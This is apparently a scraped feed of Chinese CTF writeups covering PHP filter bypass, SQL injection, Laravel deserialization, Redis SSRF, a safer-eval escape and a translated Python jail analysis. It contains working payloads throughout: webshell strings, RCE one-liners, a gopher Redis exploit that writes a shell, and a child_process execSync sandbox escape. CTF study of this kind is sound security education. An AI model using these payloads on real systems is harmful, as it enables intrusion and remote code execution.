就算是用gopher,后面也还是有非预期


hate-php

考点:bypass and RCE

难度:简单

<?php
error_reporting(0);
if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { 
        die('You are too good for me'); 
    }
    $blacklist = get_defined_functions()['internal'];
    foreach ($blacklist as $blackitem) { 
        if (preg_match ('/' . $blackitem . '/im', $code)) { 
            die('You deserve better'); 
        } 
    }
    assert($code);
}

题目有两层过滤,第一个正则过滤了一些符号了flag.ph中任意的字符,第二个foreach过滤了所有内置函数

利用取反,构造system(end(getallheaders()))

payload:

http://121.36.74.163/?code=(~(%8c%86%8c%8b%9a%92))((~(%9a%91%9b))((~(%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c))()))

然后在header最后加上cat flag.php即可

解法不唯一,比如require并不在内置函数的数组里,可以直接用


美团外卖

考点:SQL注入、代码审计

难度:普通

这破题真的,没啥意思。感觉像是什么课设作业拿过来魔改的,而且这代码,中英结合,用拼音做变量名,我是真的无语

扫出来www.zip源码

首先是个登录框,审一下代码发现可以用2019 GXYCTF EasySQLiv1.0的套路,自己构造一个union select即可

function Login(){
	$x1=1;//用户名长度限制
	$x2=1;//用户密码长度限制
	if(strlen(P('username'))>0 and strlen(P('password'))>0){
        if(1<0){
            Nts('请输入信息登录');
        }
        else{

            if(GetValue('admin.upass',"uname='".P('username')."' and id>0")==md5(P('password'))){
            $_SESSION['adminuser']=array();
            $_SESSION['adminuser']['uname'] = GetValue('admin.uname',"uname='".P('username')."' and id>0");
            $_SESSION['adminuser']['id'] = GetValue('admin.id',"uname='".P('username')."' and id>0");
            $_SESSION['adminuser']['qudao'] = GetValue('admin.qudao',"uname='".P('username')."' and id>0");
                Tz('index');
            }
            else{
                Nts('登录失败!');
            }

        }
	}
}
用户名 : ' union select "770f0f8b605cfd2ba494849d948d34ef"#
密码  : y1ng

登陆上来之后没找到什么可以利用的地方。然后继续审代码,在daochu.php发现了无任何过滤的SQL注入:

而且是有回显的,就直接构造联合查询就行了。查到有个hint表,从里面查出了一个hint:see_the_dir_956c110ef9decdd920249f5fed9e4427

进了这个目录之后,和根目录简直是完全一样,然而这里面没有www.zip了。

经过一番测试,发现源码里给了一个lib目录,然而在根目录下是无法访问的,然后在hint的目录里居然可以访问了

这lib里有非常多的东西,然而基本都是js的,很显然本题目用不上,所以来这里面找一下php文件:

做到这一步,实际上就一个一个文件审计就可以了,然而其实还有更简单的方法,我记不清windows的资源管理器会不会显示这个文件最后的修改日期了,反正Mac的访达会显示,其他文件的修改日期都很久远,说明是作者直接拿过来的,然而preview.php修改日期是昨天的13:20,说明这是出题人最新编辑过的文件,考点就直接定位到这个文件了

然后就审一下代码呗

<?php
/**
 * 此页面用来协助 IE6/7 预览图片,因为 IE 6/7 不支持 base64
 */

$DIR = 'preview';
// Create target dir
if (!file_exists($DIR)) {
    @mkdir($DIR);
}

$cleanupTargetDir = true; // Remove old files
$maxFileAge = 5 * 3600; // Temp file age in seconds

if ($cleanupTargetDir) {
    if (!is_dir($DIR) || !$dir = opendir($DIR)) {
        die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "Failed to open temp directory."}, "id" : "id"}');
    }

    while (($file = readdir($dir)) !== false) {
        $tmpfilePath = $DIR . DIRECTORY_SEPARATOR . $file;

        // Remove temp file if it is older than the max age and is not the current file
        if (@filemtime($tmpfilePath) < time() - $maxFileAge) {
            @unlink($tmpfilePath);
        }
    }
    closedir($dir);
}

$src = file_get_contents('php://input');

if (preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)) {

    $previewUrl = sprintf(
        "%s://%s%s",
        isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
        $_SERVER['HTTP_HOST'],
        $_SERVER['REQUEST_URI']
    );
    $previewUrl = str_replace("preview.php", "", $previewUrl);


    $base64 = $matches[2];
    $type = $matches[1];
   if ($type === 'jpeg'||$type==='php') {
        die("no hacker");
        #$type = 'jpg';
    }

    $filename = md5($base64).".$type";
    $filePath = $DIR.DIRECTORY_SEPARATOR.$filename;

    if (file_exists($filePath)) {
        die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
    } else {
        $data = base64_decode($base64);
        file_put_contents($filePath, $data);
        die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
    }

} else {
    die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "un recoginized source"}}');
}

根据这个php://input以及preg_match()

来构造一个POST的包试一下

题目返回了一个神秘文件,访问之后提示get file,所以就直接读flag就可以了


Laravel

考点:Laravel框架审计、反序列化

难度:困难

app/Http/Controllers/TaskController.php中存在反序列化位点:

在vendor/symfony/routing/Loader/Configurator/ImportConfigurator.php中有析构方法,调用$parent属性的addCollection()方法,然后在构造方法里$parent是可控的

全局搜索addCollection()没有找到什么好用的,然后找__call()魔术方法,在vendor/fzaninotto/faker/src/Faker/Generator.php中就有,为什么找这个呢?主要是类下能调用回调函数

<?php

namespace Faker;

class Generator
{
    protected $providers = array();
    protected $formatters = array();

    public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }


    public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }
}

因为addCollection()不存在,就会触发__call()方法,然后调用$this->format()方法;在format()方法内返回call_user_func_array()来调用回调函数,$this->getFormatter($formatter)就是回调函数,$argument自然就是回调函数的参数了。

之后就是跟进$this->getFormatter($formatter),可以看出getFormatter()的返回值也是可控的:

if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }

所以通过控制$this->formatters为一数组,数组键值为system,然后$argument为回调system()的参数来实现命令执行。

然后因为__call()的特性,$this->format()的第一个参数$methodImportConfigurator中析构方法调用的addCollection,然后在$this->format()中又传给$this->getFormatter($formatter),这个$formatter就是addCollection。刚刚说了键值为system,键名$formatter就需要设置为addCollection,这样才能通过call_user_func_array($this->getFormatter($formatter), $arguments)来触发system()

exp:

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2380.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2380.html/feed 0
XCTF-RCTF 2020 Writeup https://www.gem-love.com/ctf/2373.html https://www.gem-love.com/ctf/2373.html#respond Wed, 03 Jun 2020 08:27:12 +0000 https://www.gem-love.com/?p=2373 Author:颖奇L’Amore

Blog:www.gem-love.com

本次比赛只帮战队solve了一个题,太菜了,然后calc的solve数比较多,本来不打算写wp了,这几天抽时间研究了一下其他题目,所以简单写一写。


calc

改编自RoarCTF2019的Easy Calc,访问calc.php拿到源码:

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
    $str = $_GET['num'];
    $blacklist = ['[a-z]', '[\x7f-\xff]', '\s',"'", '"', '`', '\[', '\]','\$', '_', '\\\\','\^', ','];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/im', $str)) {
            die("what are you want to do?");
        }
    }
    @eval('echo '.$str.';');
}
?>

过滤了英文字符和[\x-7f-\xff]以及一些符号,虽然取反没ban但也是不可以的,本题的思路是通过& |等位运算构造任意字符。

获得数字字符

我们可以得到任意数字,(1)仍是int,但是如果((1).(2)) (注意需要套一个括号否则出错)就会得到字符串“12”

之后再通过字符串截取即可得到单字符,PHP中可以使用大括号来完成,也是按照惯例,第一个字符编号是0,第二个是1,以此类推

获得部分字符

通过NAN INF以及科学计数法可以获得INAFE这5个字母,这样得到:

但是得到的是float类型,同样使用大括号截取并不能得到对应的单字符,反而会报错并返回NULL

那我们还可以通过刚刚的方法,让两个数字做点运算然后加上括号包裹,再用{}截取,即可:

获得更多字符

现在我们有了几个英文字符、数字等,让他们互相做位运算即可得到更多字符,然后再把得到的更多字符再位运算又能得到更更多的字符。基本思路就是这样,具体操作起来可以先来参考一下杭电Vidar-Team的E99p1ant师傅的脚本:


$char = '1234567890-INFAH@+*%$()"!%meogiakcfhvwbnq_';
for($i = 0; $i < strlen($char); $i++){
    for($j = 0; $j < strlen($char); $j++){
        echo($char[$i] .'&' .$char[$j] . ' '. ($char[$i] & $char[$j]));
        echo("<br>");
        echo($char[$i] .'|' .$char[$j] . ' '. ($char[$i] | $char[$j]));
        echo("<br>");
    }
}

这可以构造出一个表,主要是什么和什么位运算能得到什么,根据这个表我手工构造了大概10个左右的字符,然后把他们加进数组,再foreach()互相位运算,基本需要的东西就够用了。

但是_和T是构造不出的,eval()在这种环境下也不能用,直接用E99p1ant师傅的扫目录Payload扫到了根目录下的readflag,但是构造PHPINFO发现并没有disable_function,所以应该就是构造一个系统命令执行,Payload:

(((((((2).(0)){0}){0})|(((0/0).(0)){1}))).(((1).(2)){0}|((1/0).(0)){0}).((((((2).(0)){0}){0})|(((0/0).(0)){1}))).((((((1).(2)){0}|((1/0).(0)){0})&((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999999).(1)){2})))))&(((1/0).(0)){1}))|((((4).(0)){0}))).((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999999).(1)){2})))).(((1/0).(0)){0}|(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999999).(1)){2})))))((((((((-1).(0)){0})|(((((8).(0)){0})&((((-1).(0)){0})|(((999999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999999).(1)){1}))))))).(((((((2).(0)){0}){0})|(((0/0).(0)){1})))&(((2).(1)){0}|((((999999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))))).((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999999).(1)){2})))).((((1).(2)){0}|((1/0).(0)){0})&((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999999).(1)){2}))))).(((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999999).(1)){2}))))&(((((999999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))))).(((((999999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0})))).((((1/0).(0)){0}|(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999999).(1)){2}))))&(((1/0).(0)){1}|((((999999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))))).((((1).(2)){0}|((1/0).(0)){0})&((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999999).(1)){2}))))).(((((999**999).(1)){2})|(((-2).(1)){0})&(((1).(0)){0})))))

打过去就是执行readflag,但是发现了一个祖传老考点,就是需要solve一个计算

这个之前在2019 *CTF包括前几天的De1CTF等都有出现,这东西实际上是运行在系统上,有几种解决办法,比如trap等等,但是前提是先获得一个交互式shell,于是我又构造了反弹shell结果没成功,去问了管理员说是靶机不能出网

还可以用php或者perl的exp一键打,但是Payload比较长,所以我们必须要构造一个webshell,弄一个可控参数,然后把我们的Payload放上去,于是很容易想到了这样的格式:

system(end(getallheaders()))

因为header可控,题目环境是Apache,就可以执行任意命令了。然后用这个脚本一键打:

<?php 
$d = array(
    0 => array("pipe", "r"),
    1 => array("pipe", "w"),
    2 => array("file", "/tmp/error.log", "a")
);

$cwd = "/";
$env = array();

$process = proc_open("/readflag", $d, $pipes, $cwd, $env);
if (is_resource($process))
{
    $d = fread($pipes[1], 1024);
    $d = fread($pipes[1], 1024);
    $d = explode("\n", $d);
    eval("\$result = $d[0];");
    eval("\$result = $d[0];");
    fwrite($pipes[0] , "$result\n");
    var_dump(fread($pipes[1],1024));
    var_dump(fread($pipes[1],1024));
    var_dump(fread($pipes[1],1024));
    fclose($pipes[0]);
    fclose($pipes[1]);
    $r = proc_close($process);
    echo "result $r\n";
}

转base,然后|base64 -d|php即可执行,或者直接用php来eval(base64_decode())也可以,即可得到flag:


PWN-BEST PHP

这题分web和pwn两部分,拿到so扩展之后交给队友去pwn了,被队友一通喷

我就写下web部分的解题思路吧,但是有可能是非预期的解法

Laravel框架,登录后在/file得到源码:

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class HomeController extends Controller
{
    /**
     * Create a new controller instance.
     *
     * @return void
     */
    public function __construct()
    {
        $this->middleware('auth');
    }

    /**
     * Show the application dashboard.
     *
     * @return \Illuminate\Contracts\Support\Renderable
     */
    public function index()
    {
        return view('home');
    }

    public function file(Request $request)
    {
        $file = $request->get('file');

        if (!empty($file)) {
            if (stripos($file, 'storage') === false) {
                include $file;
            }
        } else {
            return highlight_file('../app/Http/Controllers/HomeController.php', true);
        }

    }

    public static function weak_func($code)
    {
        eval($code);
        // try try phpinfo();
        // scandir may help too
    }
}

可以发现有文件包含,就可以用伪协议读源码,包含一下Laravel框架的环境变量配置文件.env,从中得到了sqlite的位置:

我们知道SQLite是个无服务零配置的数据库,他的数据保存在文件内,和Mircosoft Access类似,然后我们得到了数据库文件的路径,于是伪协议读取一下:

可以发现我们的用户名和邮箱都能明文完整显示出来,而且用户名无限制,所以就注册一个php的一句话木马,然后去包含数据库文件即可。

然而包含出现了500Error,检测一下发现有弱智写php一句话时候没用?>闭合语句,导致了执行出错。这里肯定卡住了非常多人。

还有人因为包含不成功去要求管理员删库的:

实际上根本没有必要,因为看数据库发现新注册的账户实际上是在最上面的,所以只要写个注释把后面注释了就可以了,用多行注释后面的php语句不会执行,所以有错也不会造成500:

所以注册如下用户名即可getshell:

<?php eval($_GET[9]);/* ?>

用我这个方法,任何时间,任何地点,都可以直接getshell

然后把so文件下载下来去交给队友pwn。稳定的webshell是必要的,因为pwn完还要拿来交互。


Swoole

非常绕,今天研究了一天,推荐直接看开心师傅的文章:

https://www.mrkaixin.top/posts/fbd7e4e1/#4-2-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE%E5%88%86%E6%9E%90%E3%80%82

kaixin师傅写的比较明白了,我就不重新写一遍了

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2373.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2373.html/feed 0
防灾科技学院GKCTF 2020 Writeup https://www.gem-love.com/ctf/2361.html https://www.gem-love.com/ctf/2361.html#comments Mon, 25 May 2020 00:00:20 +0000 https://www.gem-love.com/?p=2361 Author:颖奇L’Amore

Blog:www.gem-love.com

比赛时间是9-17点,因为今天是开斋节(Eid Mubarak )一直到下午2点才来做题,web难度比较普通,和BJDCTF 3rd比起来要简单一些,不过比较可惜,因为最后那两分钟buuoj炸了导致有一个题的flag没交上去

正好做到最后一个题时候比赛结束的,简单看一下应该是个webinary,不做了


CheckIN

考点:代码审计、disable_function

给了源码:

<title>Check_In</title>
<?php 
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName();

base64一下即可RCE,通过phpinfo()发现执行系统命令的函数都被ban了,然后环境是php7.3,根目录下有readflag,于是用bypass PHP7.0-7.3 disable_function的PoC打一下即可得到flag:


老八小超市儿

考点:ShopXO弱口令、后台Getshell、提权(?)

打开之后是个shopxo的商城,用默认后台账号密码登录,成功进入后台:

去官网下载一个免费的主题,把一句话木马放进去:

安装主题,即可getshell,然后在/flag告知flag在/root目录下,但是因为当前是www-data用户是没有权限访问/root目录的,考虑需要提权,然而实际上我也没有提权。在根目录下发现了auto.sh:

这个auto.sh每60s运行一下/var/mail下的这个python脚本,然后我们可以发现这个auto.sh是root权限执行的:

既然如此,这个python脚本也是拥有root权限的,测试发现我们居然拥有这个py的写权限,那就简单了,先扫描一下/root目录以得到flag的路径,然后读取即可(通过文件操作吧结果输出到外部文件中),红色部分是扫目录的代码,蓝色是读取flag:

不清楚是不是非预期,或许出题人想要让提权,也或许就是用这个python


CVE版签到

考点:CVE-2020-7066

和昨天BJDxDAS的ezupload的第一步完全一样,通过%00截断可以让get_headers()请求到错误的主机,于是请求到本地然后再根据他的提示吧ip结尾改成123即可得到flag:


EZ三剑客-EzNode

考点:saferEval沙箱逃逸

源码:

const express = require('express');
const bodyParser = require('body-parser');

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

const fs = require('fs');

const app = express();


app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);
  } else {
    next();
  }
});

app.post('/eval', function (req, res) {
  let response = '';
  if (req.body.e) {
    try {
      response = saferEval(req.body.e);
    } catch (e) {
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});

// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
  res.set('Content-Type', 'text/json;charset=utf-8');
  res.send(fs.readFileSync('./package.json'));
});

app.get('/', function (req, res) {
  res.set('Content-Type', 'text/html;charset=utf-8');
  res.send(fs.readFileSync('./index.html'))
})

app.listen(80, '0.0.0.0', () => {
  console.log('Start listening')
});

可以看到前面有个Timeout需要绕过,使用Infinity(无穷数)绕过即可,因为Infinity比任何有限数都大(题目的本质是int溢出,无穷数当然可以导致Int溢出)

然后就是saferEval的RCE,虽然它本身是个沙箱来保证eval的安全性,但是可以逃逸,参考:

https://github.com/commenthol/safer-eval/issues/10

这文章里给的PoC为:

const saferEval = require("./src/index");

const theFunction = function () {
  const process = clearImmediate.constructor("return process;")();
  return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;

console.log(saferEval(untrusted));

拿过来直接用就好了,穿进去即可RCE:


EZ三剑客-EzWeb

考点:Redis SSRF

印象很深,因为这个题被guoke师傅10几分钟拿了一血,实际上并没有那么丝滑,至少这个知识点我相信不是所有web🐶都熟练掌握的

通过?secret可以得到ip地址

既然给了ip就扫下内网,内网有那么几台不同的机器,有requestsbin/mail服务器什么的,其中一台这样说道:

既然如此,用burp爆破一下端口,于是爆破出了6379端口

6379是redis的端口,不知道也无所谓,看显示的内容也可以发现是redis的报错:

因为输入url这里只限制了file://,没有ban掉gopher://,很容易想到是Redis SSRF getshell,可以参考这篇文章:

https://byqiyou.github.io/2019/07/15/%E6%B5%85%E6%9E%90Redis%E4%B8%ADSSRF%E7%9A%84%E5%88%A9%E7%94%A8/

exp也是从这文章里拿来的:

import urllib
protocol="gopher://"
ip="173.216.189.11"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
	 "set 1 {}".format(shell.replace(" ","${IFS}")),
	 "config set dir {}".format(path),
	 "config set dbfilename {}".format(filename),
	 "save"
	 ]
if passwd:
	cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
	CRLF="\r\n"
	redis_arr = arr.split(" ")
	cmd=""
	cmd+="*"+str(len(redis_arr))
	for x in redis_arr:
		cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
	cmd+=CRLF
	return cmd

if __name__=="__main__":
	for x in cmd:
		payload += urllib.quote(redis_format(x))
	print payload

运行exp得到一个gopher://的url,提交即可写入一个webshell,之后就获取flag,不过这里需要绕过一下空格否则会400 Bad Request


EZ三剑客-EzTypecho

考点:Typecho 1.1反序列化

参考链接:

http://www.tomyxy.com/index.php/archives/3.html

题目给了源码,不能直接用现成的exp直接打,不过实际上也差不太多,题目把session_start()都给注释了导致没有session,然后die(),导致不能直接用网上exp一把梭:

但是下面还有反序列化点

生成Payload的exp基本用网上的,然后带上referer头,带上start参数,即可一键RCE

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2361.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2361.html/feed 6
[译]PlaidCTF中一道PyJail逃逸题目分析 https://www.gem-love.com/ctf/2345.html https://www.gem-love.com/ctf/2345.html#comments Thu, 21 May 2020 15:50:11 +0000 https://www.gem-love.com/?p=2345 译者:颖奇L’Amore

最近我在第三届BJDCTF(安恒DASCTF五月赛)出了一道名为PY me的Misc题,灵感就是来自于Plaid CTF 2013中的这道PyJail题目。因为相关中文分析较少,加之理论知识较多,特将此文章翻译为中文供大家参考。关于PY me的writeup以及我录制的讲解视频,相信安恒也会发,请持续关注。

基本都是手工翻译,虽然也参考了Google translate,大部分是直译,但是也有很多句子是变更了形式翻译的,实在讲不清楚的会加上【译者注】。语言只是交流的工具,以交流技术为主,不要过分在意句子的外文味道。

本文禁止任何形式的转载。


Python Jail是CTF中非常常见的题型。通常,对解释器的内部有着丰富的知识可以让你在做题中表现得更好。对于新手来说这有时候可能有点像黑魔法。Plaid CTF 2013有一个很具有挑战性的题目,它需要选手结合一些不同的技术和逻辑来做题。

这个题目在题目的服务器上开启了监听,每次连接过去就会启动一个新的Python脚本。根据题目信息可知,因为我们并不知道flag藏在哪,所以我们需要想办法得到shell。另一个非常重要的信息是题目使用的是Python2.6.6。

题目提供了脚本,可以从这里下载。译者注:下载链接已失效。译者注结束。

纵览

基本上它弄了一个Jail,然后会对用户输入进行一系列检查,检查通过后执行用户的输入。 在解释我们如何能bypass大部分保护措施(限制)并最终从Jail中escape之前,我将先介绍不同的保护措施。

from sys import modules
modules.clear()
del modules

sys.modules是一个包含了Python解释器启动以来导入的所有模块的字典。清除模块破坏了很多东西,会导致很多事情出现问题,因为通常一个标准函数会检查是否存在某个模块。 但是完全删除模块会破坏更多代码,因为现在检查本身就引发了异常!

下一步来设置PyJail环境的代码是:

__builtins__.__dict__.clear()
__builtins__ = None

这代码无需过多解释, 它清除了python用于查找其内建函数的字典,除非我们已经有了对内建函数的引用,否则我们就无法再使用它们了。

inp = _raw_input()
inp = inp.split()[0][:1900]
#Dick move: you also have to only use the characters that my solution did.
inp = inp.translate("".join(map(chr, xrange(256))),
'"!#$&*+-/0123456789;=>?ABCDEFGHIJKLMNOPQRSTUVWXYZ\\^ab
cdefghijklmnopqrstuvwxyz|')

基本上,这意味着我们的输入应小于或等于1900个字节,并且输入的字符必须包含于set([':', '%', "'", '', '(', ',', ')', '}', '{', '[', '.', ']', '<', '_', '~'])`这个字符集当中,分割符确保没有任何空格。非常值得注意的一件事情就是我们也可以使用大多数不可打印的字符,如果我们需要的话。

完成所有这些事情之后,接下来就是最有趣的部分了:代码执行! 代码执行处于两个不同的阶段,所以我们有双倍快乐:-)

exec 'a=' + _eval(inp, {}) in {}

别被迷惑了!这个eval()根本没在exec中。这个代码等价于:

cmd = 'a=' + _eval(inp, {})
exec cmd in {}

首先提醒一下,Python中的eval用于执行一个表达式并返回结果,而exec则可以编译并执行Python代码;简而言之,你可以使用exec来执行代码,而eval并不能执行代码。

译者注:eval()不能执行代码是不准确的,比如执行个print():

这是因为所有的函数调用都是表达式,而eval()正好执行表达式并返回结果,那么调用函数应该返回什么呢?当然是函数执行的结果了,所以eval()可以执行函数调用的相关代码;但例如选择结构、循环结构就不属于表达式,所以不能直接执行;但是想要执行他们也不是没有办法,因为exec()函数可以编译并执行Python语句,而exec()本身是个函数,所以eval("exec()")就可以了;特别注意的是,如果想要用eval()来执行代码,一定要记得用引号将你的表达式包裹起来。但是本题目的eval()确实不能执行命令,因为条件太苛刻了,如果再套一层eval()就可以了。译者注结束。

eval函数作为第二个参数的空字典,和exec之后的in {}是一个意思,即应该在新的空作用域内来评估代码。所以(理论上)我们不能从eval传递东西到exec,或者与外界有任何形式的互动。

译者注:简而言之,是个沙箱。译者注结束。

大部分python只是引用,并且我们可以在这里再次看到。 这些保护仅仅删除了引用。 原始的模块(例如os)和内建函数没有任何改变。 我们的任务很明确,我们需要找到有用的东西的引用,并使用它来找到文件系统上的Flag。 但是首先我们需要找到一种允许这种小字符执行代码的方法。

执行代码

我们如何仅仅通过set([':', '%', "'", '', '(', ',', ')', '}', '{', '[', '.', ']', '<', '_', '~'])`中的字符来获得代码呢?答案:用Python,Python非常有趣,让我们来试试吧。

我们拥有所有构建元组()、列表[]和字典{:}的东西。如果是Python2.7我们还可以通过{}来制造集合但很可惜现在不是。我们还可以使用''来创造字符串、用%来进行一些格式化。 显然,逗号在构建元组或列表中会有所帮助,并且点可能在对访问属性时有用。

我们还没有谈论<_`<是简单的运算符,可以用来做小于比较和按位取反。_可以使变量标识符有效,但是因为我们没有=所以也没什么用。

如果你像我一样不知道反引号到底做了什么在python2中你可能会惊讶。`x`repr(x)是完全等价的!这意味着我们可以将一些object转化成字符串

这些符号可能会有多种用处。%可以用来字符串格式化,也可以做整数的取模。<首先可以用来比较大小,其次如果是<<的形式可以用来做二进制的左偏移运算。

可以看到,大部分我们能够使用的字符都非常的有用,并且我敢说和没有这些符号相比,有这些符号会让制造python语句或字符串变得更加简单。

请记住我们有两个执行的阶段,首先是eval然后是execexec执行了eval的返回结果,所以我们可以认为eval是个decoder。那个1900字符的限制本应让你对它有很多思考,但是我们把它绕过了(正如我后面要解释的),这也是为什么我们没有对编码方案有过多的思考。

首先需要注意的一件事就是[]<[]False,这是非常有逻辑的。还有另一个难以解释但是对我们非常有用的东西就是{}<[]True的。

译者注:首先两个空列表比较大小返回False不必过多说明,两个相同的东西怎么可能会一大一小呢。但是必须要说明的是,字典和列表的大小比较仅仅在Python2中可用,如果是Python3会报错:TypeError: '<' not supported between instances of 'dict' and 'list' 而本题目环境刚好是Python2。所以本题一切的一切都要从这里开始。译者注结束。

TrueFalse在进行算术运算中表现为10。这将是用来构建我们的decoder的最基础部分,但我们仍然需要找到一种方法来实际生成任意字符串。

得到任意字符

让我们先从一个通用的解法开始,稍后再进行优化。通过使用True, False, ~, <<我们能够字符的ASCII值。但是我们需要str()或者%c一类的东西来将ASCII数值转成字符。这时候,不可见字符就要登场了!例如,\xcb并不是一个ASCII字符因为它的ASCII码大于127,但是在Python字符串中是可用的,当然我们也可以把它发给服务器。

如果我们使用`'_\xcb_'`来表示(为了测试我会发送0xcb而不是'\xcb'),那么我们就拥有了一个包含c的字符串。当然,我们还需要有%,而且是需要2个,也仅仅是2个。

译者注:使用反引号进行转字符串操作时,把\xcb这个单字符转换成了\ x c b这4个字符,于是就得到了c。译者注结束。

我们想要使用这个:`'%\xcb'`[1::3],通过True False来创造数字,于是我们就得到了:

`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]

译者注:这里`'%\xcb'`得到的是字符串"'%\\xcb'",再进行[1::3]切片得到%c。译者注结束。

搞定!现在我们只需先创造任意数字,然后再利用像上面那样的字符串索引和切片获取到%c % (number),这样通过格式化字符串就得到了任意字符。

在通过对True/False和不可见字符的表达式中来得到特定的字符时,这整个操作或许还能进一步优化。但是因为我需要去继续bypass长度限制,所以我没有继续深入研究如何优化。

得到任意数字

这是我在CTF比赛中失败的地方,所以导致了我在赛后5分钟才得到flag。如果我编写一些代码来自动化的获取任意数字,那么在我最终得到一个shell的时候就不会丢失任何的空格了。但是现在更重要的就是来实现自动化获取任意数字这件事。

如果你学过逻辑,那么你应该知道很多事情都可以通过“与非门”来完成。我们要做的事情和“与非门”非常相似,除了我们会使用乘2来代替AND(与)。接下来,我们不会使用到True。

所有事情都可以被False(0),~(not) 和<<(x2)来完成,下面是一个演示,我将演示如何通过使用~/2来把42转换为1,之后就可以使用~*2来还原这个过程。

 42 # /2
 21 # ~
-22 # /2
-11 # ~
 10 # /2
  5 # ~
 -6 # /2
 -3 # ~
  2 # /2
  1

True = ~(~(~(~(42/2)/2)/2)/2)/2/2

基本上,只要能除以2我们就尽可能的除以2,否则就进行按位取反。这样做有一个好处,就是在取反的时候我们可以保证以后可以除以2。这样最终我们能得到1、0或-1。

但是等等,我不是说我不会使用True/1吗?是的,我确实做到了,但我也撒谎了。我们会使用它,因为True显然比~(~False*2)要短,特别是考虑到了我们要使用True来实现x2操作,而在我们当前的条件下x2等价于<<({}<[])

所以现在我们把上面的过程反推回去,然后就得到了:

42 = ~(~(~(~(1*2)*2)*2)*2)*2

如果使用那些我们可以用的字符来表达这个表达式,应该是这样的:

42 = ~(~(~(~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])

在CTF中可以使用如下脚本一键得到任意数字:

def brainfuckize(nb):
    if nb in [-2, -1, 0, 1]:
        return ["~({}<[])", "~([]<[])",
		         "([]<[])",  "({}<[])"][nb+2]

    if nb % 2:
        return "~%s" % brainfuckize(~nb)
    else:
